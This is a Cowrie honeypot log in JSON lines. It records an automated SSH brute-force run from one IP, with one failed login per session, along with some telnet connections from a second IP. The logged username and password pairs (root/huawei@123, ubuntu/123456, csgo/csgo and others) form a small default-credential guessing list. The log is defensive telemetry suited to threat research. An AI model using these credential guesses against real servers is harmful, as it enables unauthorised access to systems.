{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:04.800544Z","src_ip":"192.109.200.237","session":"b4f0b3d03f73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39202,"dst_ip":"159.203.135.109","dst_port":22,"session":"80453e29e002","protocol":"ssh","message":"New connection: 192.109.200.237:39202 (159.203.135.109:22) [session: 80453e29e002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:06.886362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:06.891573Z","src_ip":"192.109.200.237","session":"80453e29e002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:06.973476Z","src_ip":"192.109.200.237","session":"80453e29e002","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:07.220132Z","src_ip":"192.109.200.237","session":"80453e29e002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:08.305177Z","src_ip":"192.109.200.237","session":"80453e29e002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41164,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a1e23d7ad28","protocol":"ssh","message":"New connection: 192.109.200.237:41164 (159.203.135.109:22) [session: 4a1e23d7ad28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:10.417607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:10.425884Z","src_ip":"192.109.200.237","session":"4a1e23d7ad28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:10.508185Z","src_ip":"192.109.200.237","session":"4a1e23d7ad28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:10.754315Z","src_ip":"192.109.200.237","session":"4a1e23d7ad28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:11.840253Z","src_ip":"192.109.200.237","session":"4a1e23d7ad28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41172,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa023c1faf98","protocol":"ssh","message":"New connection: 192.109.200.237:41172 (159.203.135.109:22) [session: fa023c1faf98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:13.917529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:13.921431Z","src_ip":"192.109.200.237","session":"fa023c1faf98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:14.003063Z","src_ip":"192.109.200.237","session":"fa023c1faf98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:14.248752Z","src_ip":"192.109.200.237","session":"fa023c1faf98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:15.336855Z","src_ip":"192.109.200.237","session":"fa023c1faf98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41176,"dst_ip":"159.203.135.109","dst_port":22,"session":"f104b7df93f1","protocol":"ssh","message":"New connection: 192.109.200.237:41176 (159.203.135.109:22) [session: f104b7df93f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:17.393714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:17.397513Z","src_ip":"192.109.200.237","session":"f104b7df93f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:17.479099Z","src_ip":"192.109.200.237","session":"f104b7df93f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:17.724645Z","src_ip":"192.109.200.237","session":"f104b7df93f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:18.810186Z","src_ip":"192.109.200.237","session":"f104b7df93f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34118,"dst_ip":"159.203.135.109","dst_port":22,"session":"25a5569b88fc","protocol":"ssh","message":"New connection: 192.109.200.237:34118 (159.203.135.109:22) [session: 25a5569b88fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:21.017307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:21.021940Z","src_ip":"192.109.200.237","session":"25a5569b88fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:21.105605Z","src_ip":"192.109.200.237","session":"25a5569b88fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:21.355758Z","src_ip":"192.109.200.237","session":"25a5569b88fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:22.442332Z","src_ip":"192.109.200.237","session":"25a5569b88fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34122,"dst_ip":"159.203.135.109","dst_port":22,"session":"609141f1b1dc","protocol":"ssh","message":"New connection: 192.109.200.237:34122 (159.203.135.109:22) [session: 609141f1b1dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:24.495923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:24.499940Z","src_ip":"192.109.200.237","session":"609141f1b1dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:24.581597Z","src_ip":"192.109.200.237","session":"609141f1b1dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:24.828170Z","src_ip":"192.109.200.237","session":"609141f1b1dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:26.009929Z","src_ip":"192.109.200.237","session":"609141f1b1dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36998,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e9ab279f273","protocol":"telnet","message":"New connection: 50.6.8.71:36998 (10.17.0.5:23) [session: 3e9ab279f273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:26.174629Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34136,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb57bb8360e1","protocol":"ssh","message":"New connection: 192.109.200.237:34136 (159.203.135.109:22) [session: eb57bb8360e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:27.976338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:27.980110Z","src_ip":"192.109.200.237","session":"eb57bb8360e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:28.061715Z","src_ip":"192.109.200.237","session":"eb57bb8360e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44588,"dst_ip":"10.17.0.5","dst_port":23,"session":"518ccde2b7a7","protocol":"telnet","message":"New connection: 50.6.8.71:44588 (10.17.0.5:23) [session: 518ccde2b7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:28.413514Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:28.469884Z","src_ip":"192.109.200.237","session":"eb57bb8360e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:29.553746Z","src_ip":"192.109.200.237","session":"eb57bb8360e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46616,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7a050119492","protocol":"ssh","message":"New connection: 192.109.200.237:46616 (159.203.135.109:22) [session: a7a050119492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:31.615987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:31.621120Z","src_ip":"192.109.200.237","session":"a7a050119492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:31.703211Z","src_ip":"192.109.200.237","session":"a7a050119492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:31.949638Z","src_ip":"192.109.200.237","session":"a7a050119492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44596,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dd72c170778","protocol":"telnet","message":"New connection: 50.6.8.71:44596 (10.17.0.5:23) [session: 4dd72c170778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:32.630642Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:48:33.035094Z","src_ip":"192.109.200.237","session":"a7a050119492","protocol":"ssh"}
